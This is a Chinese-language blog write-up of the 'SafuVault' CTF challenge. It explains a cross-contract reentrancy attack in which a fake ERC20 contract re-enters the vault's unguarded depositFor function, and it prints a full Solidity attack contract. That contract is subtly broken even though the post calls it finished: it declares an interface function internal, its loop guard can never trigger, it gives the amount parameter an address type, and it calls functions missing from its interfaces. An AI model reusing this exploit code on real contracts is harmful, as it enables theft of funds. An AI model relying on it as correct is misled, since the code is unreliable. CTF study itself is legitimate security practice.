CTF-SafuVault
CTF-SafuVault
这个题的源代码这里
题目要求就是:获得不少于保险库的90%代币
还是先阅读代码,合约SafeVault
,是一个安全的收益金库,用于用户存入代币,然后金库会调用策略合约 SafuVault
的deposit
函数将存入的代币进行投资,用户通过withdraw
函数提取它们的代币,其中还有个depositFor
函数,允许其他用户为其他人存款,这个收益合约看起来还是功能挺齐全的。
而收益生成合约 SafuStrategy
,就是来管理存入金库的资金,要想获得资金的话,还是的同通过金库合约,反复查看这个合约的,开始时并没有发现获得资金的方法,查看了提示:所有外部功能都得到妥善保护吗?又去看了金库合约的函数,发现deposit
和depositFor
函数修饰限定不一样,具体看一下代码:
function deposit(uint256 _amount) public nonReentrant { |
deposit
函数有防止重入的功能,而depositFor
没有,这是就会联想到,会不会就是重入攻击,再比较这俩个合约,发现depositFor
使用了token
地址作为参数传入,这个给了很大的操作空间,如果在token
地址上进行转账的transfer函数中夹带一个再次存款合约的话,就会进行一个重入攻击,反复存款,最后再withdrawall
.就能获得大量的代币
具体的攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IValue {
function depositFor(
address token,
uint256 _amount,
address user
) internal;
function withdrawAll() external ;
}
contract Hack {
IERC20 token;
IValue value;
uint256 loop = 10;
constructor (address _token,address _value){
token = IERC20(_token);
value = IValue(_value);
}
function pwn() external{
//计算重入几次,获得超过金库合约的90%代币
uint256 amount = token.balanceOf(address(this));
uint256 amount1 = amount /10;
value.depositFor(address(this),amount1,address(this));
value.withdraw();
//此时的msg.sender是我们自己,因为是我们发起pwn
token.transfer(msg.sender,token.balanceOf(address(this)));
}
function transferFrom(address from,address to,address amount1) external{
if(loop<10){
//此时的msg.sender是金库合约,因为是Value发起的存钱
transfer(msg.sender,amount1);
//执行重入,再次存款
token.depositFor(address(this),amount1,address(this));
}
}
}
简单来说,就是我们的攻击合约扮演一个ERC20代币合约,正是由于depoistFor函数将token地址作为参数,这样我们就能改变token地址里的transferFrom函数的内容,进行重入攻击,个人认为就是有一个跨合约的重入攻击,对于ERC20代币必须要有了解。
完成。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.